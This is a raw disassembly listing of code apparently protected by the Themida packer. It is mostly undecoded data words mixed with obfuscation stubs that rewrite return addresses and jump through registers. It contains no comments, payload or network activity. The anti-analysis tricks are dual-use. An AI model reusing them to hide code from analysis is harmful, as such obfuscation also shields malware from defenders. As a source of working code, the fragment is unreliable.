dd 7EF4AEC3h, 458D0156h, 0F06130Ah, 685h, 399D8900h, 8B061301h
dd 0DCBF66C3h, 0CE974h, 82040000h, 7462880Ch, 0A82DFF03h
dd 0E8C18E88h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 6E95641h, 0D1000000h
dd 0E6F0EF1Ah, 0E2F76621h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0B7C35646h, 4DB230CEh, 0D362A14Ah, 0D82BFA8Bh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 24C35141h
dd 13E95693h, 19000000h, 5004EDB1h, 5AB5EA67h, 0D28146A2h
dd 4BE24048h, 505E8419h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 424CA399h, 61CAC71Dh
dd 0B5FFFC79h, 6130B21h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 9EC35040h, 3F8876Ah, 0D1B50923h, 0FF061325h
dd 130DA995h, 598D0106h, 0B0061313h, 75BD8B00h, 0E6061315h
dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 2FCA75Ah, 5B46BE86h, 71E446EDh, 85B58B57h
dd 5E06131Dh, 830F613Ch, 265h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 19C35242h, 37430549h, 0E68166F5h
dd 0B60FA8D0h, 0FA8B66D8h, 6BAh, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 9B372C1Ah
dd 0E9C38B1Fh, 0Dh, 0E537A687h, 92F890F7h, 0A02DE7B2h
dd 4E8C137h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0EBC35141h, 0CF33CE18h, 8B5D2E6Fh, 1323C1BDh, 0E2F76606h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 22C35747h
dd 6D55822Fh, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0DF359BC3h, 0A1B023Bh, 6A58F937h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 74D2C356h, 64B98D33h, 0B58B4B4Bh, 61314D1h
dd 880FD82Bh, 159h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0A6C35646h, 0C36A72ACh, 393AD7E3h, 7B9F5h
dd 0DE810000h, 61F6440Eh, 0C183F5h, 0FD93BF9h, 11C86h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0E860F99Ch, 0Ch, 0D876BD4Dh, 0B39153BDh
dd 718327EEh, 22999589h, 615B0613h, 66D98C66h, 0C1F6FA8Bh
dd 0B7840F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 452DC356h, 0E9993A37h
dd 12h, 0FD7C39E4h, 0D722BA08h, 0DB33EC3h, 3AEA2A08h, 0B58BE6DEh
dd 6130DB5h, 211195FFh, 7E90613h, 29000000h, 330D7494h
dd 0F5B8AB4h, 688h, 74DF8100h, 2B315428h, 50006AC3h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 3C260829h, 0F18D09D9h, 3D061324h, 834h, 28860Fh, 42E90000h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 6014C351h, 4AB866F5h, 0C08B6175h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 69C35747h
; ---------------------------------------------------------------------------
popa
loc_5BAF41: ; CODE XREF: Themida_:loc_5BAAB6j
mov eax, ebx
mov ebx, eax
push 0
push eax
call sub_5BAF50
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BAF50 proc near ; CODE XREF: Themida_:005BAF48p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5BAF50 endp
; ---------------------------------------------------------------------------
dd 2146C2C9h, 146185C7h, 0D7310613h, 0C08B3A3Eh, 860Fh
dd 0BD810000h, 6130B21h, 7D0h, 53850Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 232120C3h, 131B0DB5h, 2185FF06h, 6A06130Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 406CC351h, 0D9A8E426h, 71E5617Eh, 0A8A11BEh, 21B5FF11h
dd 8906130Bh, 13235DB5h, 0A995FF06h, 6A06130Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0F668C357h, 8160D8E3h, 0FAFFB24h, 0BF0FF9B7h, 8B4090FFh
dd 131055B5h, 0A5BD8306h, 61320h, 0CE840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 0C33FBFC3h, 7E966h, 7E050000h, 57657EF5h, 0C1BD830Eh
dd 61322h, 96840Fh, 5E80000h, 0BA000000h, 0E034FA1Ah, 2085BD89h
dd 665E0613h, 2CA6E781h, 20A595FFh, 8B660613h, 7DB589F3h
dd 0B061330h, 69840FC0h, 89000000h, 1328C1BDh, 8D8D8D06h
dd 6A06134Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 5DB1C353h, 9E9h, 62DDCD00h, 6B0EE677h
dd 5B83CD1h, 8B000000h, 131969B5h, 6AE1FF06h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 2983C353h, 0BD0B6D2Bh, 6133205h, 1179BD83h, 0F000613h
dd 59784h, 0CF816000h, 46FC12D7h, 0FF63F181h, 83612F98h
dd 1322C1BDh, 840F0006h, 57Ch, 169DB58Bh, 8D8D0613h, 6131B21h
dd 1F2DB58Bh, 1C70613h, 44B27C84h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 7BC35545h, 29598FBCh, 1321D98Dh
dd 0CB018106h, 6A1499CFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 7363C355h, 91435F2Bh
dd 1A820Fh, 0E8560000h, 12h, 9DB42C51h, 669453EAh, 3DB5DF6Fh
dd 3225AA1Ch, 5E5F15E2h, 340441C7h, 8BCE706Bh, 44181F3h
dd 31D6D710h, 7E8h, 3FBBEB00h, 0A8528FEFh, 163D8D01h, 6A5F0613h
dd 0F38B6600h, 1B21858Dh, 85310613h, 6131985h, 0FE890h
dd 0D8D90000h, 0F4057006h, 8149FD6Fh, 5212E173h, 138F0F4Dh
dd 0E9000000h, 0Eh, 1253E8E6h, 0DE37195Ch, 66705119h, 505F5C73h
dd 90FB8B66h, 9E5B58Bh, 95FF0613h, 6131179h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 59C35646h, 4212F17Dh
dd 0B9666033h, 56607CA7h, 14E958h, 0E2710000h, 417C7D52h
dd 0AF115987h, 64BB52E8h, 4693B53Dh, 61610950h, 1B218D8Dh
dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 6089D3C3h, 1C7h, 800F0000h, 5, 11F78166h
dd 441C749h, 0
; ---------------------------------------------------------------------------
jmp loc_5BB2A6
; ---------------------------------------------------------------------------
db 0C8h, 75h, 57h
dd 1A639DEh
db 0E0h, 63h
; ---------------------------------------------------------------------------
loc_5BB2A6: ; CODE XREF: Themida_:005BB298j
or eax, eax
jz loc_5BB2F8
movsx edi, dx
lea ecx, [ebp+6134F8Dh]
jmp loc_5BB2CF
; ---------------------------------------------------------------------------
dd 724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h
db 0F6h, 0B2h, 0C3h
; ---------------------------------------------------------------------------
loc_5BB2CF: ; CODE XREF: Themida_:005BB2B7j
mov eax, 5
mov si, cx
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5BB2E4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB2E4 proc near ; CODE XREF: Themida_:005BB2DCp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5BB2E4 endp
; ---------------------------------------------------------------------------
dd 0F091BEF0h
; ---------------------------------------------------------------------------
loc_5BB2F8: ; CODE XREF: Themida_:005BB2A8j
lea ecx, [ebp+6131B21h]
push 0
push ebx
call sub_5BB309
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB309 proc near ; CODE XREF: Themida_:005BB301p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5BB309 endp
; ---------------------------------------------------------------------------
cld
sub ah, [esi-42h]
sar byte ptr [ecx+727C01C7h], 0AAh
inc esp
push 0
push ebx
call sub_5BB330
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB330 proc near ; CODE XREF: Themida_:005BB328p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5BB330 endp
; ---------------------------------------------------------------------------
dd 0AB9FB2Eh, 557036FDh, 830FC953h, 0
; ---------------------------------------------------------------------------
add dword ptr [ecx], 1499CFCBh
mov di, cx
mov [ebp+6132B35h], edx
mov dword ptr [ecx+4], 0CE78753Ch
push 0
push ebx
call sub_5BB371
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB371 proc near ; CODE XREF: Themida_:005BB369p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5BB371 endp
; ---------------------------------------------------------------------------
mov edi, 4418137h
adc bh, dl
setalc
xor [edx+0], ebp
push eax
call sub_5BB395
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB395 proc near ; CODE XREF: Themida_:005BB38Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5BB395 endp
; ---------------------------------------------------------------------------
db 1Bh, 93h, 2Ch
dd 1ABDC99Eh, 218D3183h, 6A061323h, 8DF98B00h, 131B2185h
dd 1F810F06h, 0F000000h, 198Eh, 13E800h, 0C9D30000h, 0A8F896D8h
dd 0B8315DADh, 8D51ECA2h, 0BEBFA67Fh, 0E9505EE6h, 10h
dd 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh, 0E9240489h
dd 0Ch, 1164CF02h, 0B7C0C10Ch, 0FA34241Ch, 117995FFh, 6A0613h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0B3A39C3h, 0ADB58Bh, 0F38B0613h, 1B218D8Dh, 6A0613h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 4353E7C3h, 1C7h, 0BD230000h, 613304Dh, 441C7h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8B5BC350h, 130D61BDh, 0FC00B06h, 5F84h, 8D8DF800h
dd 6134F8Dh, 0EA59D89h, 5B80613h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 2232C350h, 68F0Fh, 0E6810000h, 51FAABh, 6AE1FFh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0C06C35C3h, 0A223BDE8h, 1B218D8Dh, 6A0613h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0FD8765C3h, 1B8D3591h, 1C7CE8Fh, 54CA95A5h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 4AC35646h, 0FAB7FE59h
dd 718589AFh, 81061320h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 790802B6h
dd 0A9F8CDB1h, 441C713h, 0CE5F5969h, 44181FCh, 31D6D710h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BEC35646h
dd 5156006Ah, 858D5F5Fh, 6131B21h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0FBC35646h, 0C5488D10h, 3DB58916h
dd 50061319h, 13E8h, 4A47EB00h, 572685D3h, 0FAD10159h
dd 680B3A39h, 0F6DB58Fh, 2404895Eh, 117995FFh, 0BD8B0613h
dd 6131991h, 1B218D8Dh, 5E90613h, 0B8000000h, 1C98C78Bh
dd 1C7h, 0B5230000h, 61315D5h, 441C7h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 1BE3C353h, 860FA1B5h, 0
; ---------------------------------------------------------------------------
or eax, eax
jz loc_5BB69C
push 0
push edi
call sub_5BB65B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB65B proc near ; CODE XREF: Themida_:005BB653p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5BB65B endp
; ---------------------------------------------------------------------------
jnb short loc_5BB6D3
mov esi, edi
lea ecx, [ebp+6134F8Dh]
mov eax, 5
jmp ecx
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5BB687
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB687 proc near ; CODE XREF: Themida_:005BB67Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5BB687 endp
; ---------------------------------------------------------------------------
db 0D0h
dd 3A1D4784h
; ---------------------------------------------------------------------------
loc_5BB69C: ; CODE XREF: Themida_:005BB64Aj
add ecx, edx
jmp near ptr dword_5BA7F4+10Fh
; ---------------------------------------------------------------------------
db 0E8h
dd 10h, 0EAFEC251h, 8486D6B6h, 0F397C1ADh, 63FDF98Dh, 34BDBD89h
dd 5F500613h, 6AC18B5Fh, 3E85300h, 20000000h, 895BC35Bh
; ---------------------------------------------------------------------------
pop esp
and al, 4
loc_5BB6D3: ; CODE XREF: Themida_:005BB66Bj
add dword ptr [esp+4], 14h
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
dw 0E972h
dd 0Ah, 2D35B1B1h, 2366A036h, 4EB7CBDh, 0
; ---------------------------------------------------------------------------
mov edi, [ebp+61310E9h]
mov edi, ecx
push 0
push edi
call sub_5BB707
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB707 proc near ; CODE XREF: Themida_:005BB6FFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5BB707 endp
; ---------------------------------------------------------------------------
db 6Fh
dd 0E4E801DEh, 3880F7Ah, 0F000000h, 858DF0BFh, 6131EA9h
dd 15E59D31h, 0BE90613h, 53000000h, 76DF5AF0h, 0DB34538Ah
dd 509030C2h, 185CBF52h, 310F5F2Dh, 5AFA8B66h, 0E9905058h
dd 8, 2458401Eh, 4E2D1D60h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9589CFC3h
dd 613232Dh, 1CC9BD89h, 6A0613h, 0FDAAB2BFh, 0CF858D4Bh
dd 8B0616F5h, 1334E1BDh, 61BD8B06h, 83061309h, 0B53105C0h
dd 6132835h, 3A94BF57h, 505F139Eh, 2519BF66h, 6A240489h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0FE921h, 536F0000h, 0AC44508Bh, 0B0CF308h
dd 80C98B2Ah, 6A006A84h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 58AFC357h, 0EFBA9FDDh
dd 113DBD89h, 0E9600613h, 9, 96978E7Ch, 63CB4D0Dh, 0D0BF0FE9h
dd 0F195FF61h, 6A061307h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 917DC357h, 33BBDFB5h
dd 4BBF6652h, 9D8D5FDDh, 616A36Ah, 68F0Fh, 0BD8B0000h
dd 61316EDh, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0FFDAA8C3h, 1316D985h, 6840F06h
dd 29000000h, 132CD9B5h, 8B4E906h, 0E80000h, 5D000000h
dd 0F5D9ED81h, 0BD030616h, 61311D9h, 0B21BD81h, 7D00613h
dd 860F0000h, 185h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 2AC35747h, 80603DF6h, 61F539F7h, 0E472EF81h
dd 9D8B0D4Ah, 6131111h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0C6C35242h, 2FE84259h, 0C8A27C08h, 0E381C3h
dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 3830C351h, 8B5B3A69h, 130521BDh
dd 0FDB0B06h, 0B085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0E9F78B5Bh, 5, 73F78E9Ch
dd 26BD831Fh, 616F4h, 3A840Fh, 0C6810000h, 7CD59D4h, 2A258D89h
dd 75E90613h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0A404C356h, 33E2184Fh
dd 99BD8B51h, 5F06132Ah, 0F42685C7h, 10616h, 810F0000h
dd 0Ah, 4890Fh, 0BF660000h, 2DE9E5E9h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 3650C352h, 0F28B6650h, 2685C75Fh, 616F4h, 0F9000000h
dd 11119D8Dh, 81500613h, 1D6623D6h, 23815F24h, 0FFFFFEFFh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 75C35040h
dd 27B378Ch, 0E341C0DBh, 8BF98B8Dh, 1314E1BDh, 0DB8C6606h
dd 2BA1BD03h, 0C3F60613h, 69840F04h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0E644C352h, 0D70167CDh, 0FFFE3558h, 13211195h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0CCDF7060h, 9D31A288h, 6131B79h, 0F78B5690h, 850F505Fh
dd 6, 6076B660h, 0BF906161h, 665CE412h, 490E9h, 9B58B00h
dd 0B0061305h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0D59978FFh, 6A70E643h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 6A5DC356h, 8EF4FE44h, 0FBCD83Fh, 71E4F6BFh
dd 1119B58Bh, 0B60F0613h, 55006AD8h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0F79B8F2Eh
dd 0E45800F6h, 6BABDAAh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E110C356h
dd 5AA43191h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 5C6AC5C3h, 14E9h, 93543700h, 0AA59DEF7h
dd 39BC6D50h, 0B92185E4h, 0C1532D40h, 0C28B60FDh, 61FBB70Fh
dd 304E8C1h, 131335B5h, 1BD8B06h, 66061315h, 0BE9E2F7h
dd 0AB000000h, 6BB97AE6h, 7E41753Ah, 0D82BB119h, 1BA19D89h
dd 52500613h, 0AE8h, 8916A900h, 75C08F4Dh, 5E2A7BDFh, 241C895Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h
dd 89B0236Bh, 1334B18Dh, 21B5FF06h, 6A06130Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0B42DC352h, 9E945DCh, 0E0000000h, 0F40931DCh, 0FD880D33h
dd 0DA995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 6BF776C3h, 6035B2C8h, 13F5BD8Bh
dd 0B00613h, 0EE8h, 57EE2300h, 48A5C651h, 3E7FD5EDh, 5EE5A157h
dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0E952A1C3h, 0Ah, 404A42B3h, 16E5B4D4h, 0E45E987Dh
dd 1DB58971h, 3C06131Bh, 8E830F61h, 6A000002h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 8EBAC356h, 0B8295E25h, 0DE81666Ah, 0B60F1DA2h, 98589D8h
dd 0BA061307h, 6, 4C68160h, 2B38E28Ch, 1300D995h, 0C38B6106h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 68C35242h
dd 0B50B3B52h, 61306C9h, 8E26D781h, 0E8C15FEBh, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0EC0373BBh, 0DF816A20h, 33CB5225h, 66E2F766h, 89E6A0BFh
dd 1311619Dh, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 9290C353h, 38FFA8DAh
dd 58F0B70Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0D6C35646h, 0F3816019h, 3CF85228h, 6850Fh, 8E0F0000h
dd 0
; ---------------------------------------------------------------------------
popa
sub ebx, eax
js loc_5BBF55
adc si, 6079h
mov ecx, 7
push 0
push edx
call sub_5BBDE2
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBDE2 proc near ; CODE XREF: Themida_:005BBDDAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5BBDE2 endp
; ---------------------------------------------------------------------------
inc ebp
mov edi, [ebp+61312ADh]
add ecx, 0
push 0
push esi
call sub_5BBE07
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE07 proc near ; CODE XREF: Themida_:005BBDFFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5BBE07 endp
; ---------------------------------------------------------------------------
sbb [ecx-10h], edi
add [edx+1E65BD29h], dl
adc eax, [esi]
mov si, di
cmp ebx, ecx
jbe loc_5BBF55
push 0
push edx
call sub_5BBE38
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE38 proc near ; CODE XREF: Themida_:005BBE30p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5BBE38 endp
; ---------------------------------------------------------------------------
xor esi, [esi]
sahf
push ebx
enter 0FFFF816Ah, 0Eh
jmp loc_5BBE69
; ---------------------------------------------------------------------------
db 0AFh, 6, 2Dh
dd 0DF13CA89h, 289A9349h, 9EA5C46Dh, 0F021AAC0h
; ---------------------------------------------------------------------------
pop eax
loc_5BBE69: ; CODE XREF: Themida_:005BBE50j
mov cx, ds
mov esi, 1E1B8560h
xor edi, 520444A4h
test cl, 4
jz loc_5BBF36
push 0
push edi
call sub_5BBE8B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE8B proc near ; CODE XREF: Themida_:005BBE83p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5BBE8B endp
; ---------------------------------------------------------------------------
mov cl, 3Ch
push edx
inc edi
dec ebx
mov ds:211195FFh, gs
adc eax, [esi]
pop ebx
push 0
push edx
call sub_5BBEB4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBEB4 proc near ; CODE XREF: Themida_:005BBEACp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5BBEB4 endp
; ---------------------------------------------------------------------------
xchg eax, esi
mov ds:0DC5F5EA3h, eax
xchg dh, [edx+6AC32Bh]
push ebp
call sub_5BBED9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBED9 proc near ; CODE XREF: Themida_:005BBED1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5BBED9 endp
; ---------------------------------------------------------------------------
db 64h, 3Dh, 34h
dd 0F000008h, 4186h, 7E800h, 509C0000h, 0D17B7C0Fh, 9D2960ACh
dd 6130DD1h, 61C4F580h, 43E95Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 712244C3h
dd 5E4FBA7Fh
db 53h, 88h
; ---------------------------------------------------------------------------
loc_5BBF36: ; CODE XREF: Themida_:005BBE7Aj
mov eax, eax
push 0
push edi
call sub_5BBF43
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBF43 proc near ; CODE XREF: Themida_:005BBF3Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5BBF43 endp
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
inc eax
loc_5BBF55: ; CODE XREF: Themida_:005BBDC7j
; Themida_:005BBE27j
mov eax, ebx
mov ebx, eax
mov dword ptr [ebp+61309CDh], 5AFE07DFh
push 0
push edx
call sub_5BBF6E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBF6E proc near ; CODE XREF: Themida_:005BBF66p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5BBF6E endp
; ---------------------------------------------------------------------------
dw 0FD5h
dd 1F89h, 13E800h, 0F8920000h, 3D24AE4h, 562A1CBDh, 0E37C5733h
dd 53E41F5Eh, 8A0F2Eh, 5F000000h, 0B589C08Bh, 6131415h
dd 0B21BD81h, 7D00613h, 850F0000h, 2Dh, 2185FFFCh, 6A06130Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0A968C353h, 5759B5E3h, 608DB812h, 21B5FFF9h
dd 6A06130Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0DC43C353h, 0FF01F18Ah, 130DA995h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 23BDF35h, 8B660A1Bh, 6A90F7h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894D29C3h
dd 1304FDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0AA6E4A78h, 1387A2Fh, 131AC1BDh
dd 9A13BE06h, 6A0873h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0E0DB62C3h, 0C731727Dh, 858D292Eh
dd 6A061323h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 70DC352h, 65579227h, 6A32B726h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 60A7C356h, 25498D33h, 95890613h, 6130DD9h
dd 62D9D89h, 0EB810613h, 59CBEF81h, 0FE96061h, 9A000000h
dd 85007989h, 0B4A89935h, 261BDE69h, 0B58B431Dh, 6130DBDh
dd 30D8BB66h, 9DBD8B61h, 6006132Fh, 23D78166h, 359D896Ah
dd 89061319h, 130FD5BDh, 53E96106h, 2BFFFFF7h, 13307DBDh
dd 0C18BFC06h, 0C258589h, 8D290613h, 613299Dh, 4EBh, 8B0F0000h
dd 6, 176DBD2Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 1E39A6C3h, 0F03E2EFEh
dd 0A9858D1Fh, 8B06131Eh, 130DA5B5h, 0C6816606h, 5090197Bh
dd 0EE85152h, 0C1000000h, 0B500C90Bh, 0A26B41F8h, 0CE3D1FADh
dd 0F5E5F3Eh, 50585A31h, 4E4ABF66h, 7DB58B90h, 6A06130Ah
dd 0C98D8900h, 6A06131Ah, 0AD8D8900h, 8D06130Bh, 17003285h
dd 0F28B6606h, 5605C083h, 2C058D89h, 905E0613h, 14E9h
dd 2297FA00h, 157D5512h, 4B272655h, 5B36162Ch, 0AF2057A7h
dd 14E85041h, 0DA000000h, 9FBAAF13h, 30DDBBB1h, 0DE3428ABh
dd 46C620F8h, 0E940226Dh, 8, 11758AC8h, 73B89833h, 8B60905Eh
dd 91950BC1h, 61061310h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 68CADCC3h, 5FBCAB14h
dd 6ABF1DEAh, 870F00h, 0FF000000h, 1307F195h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
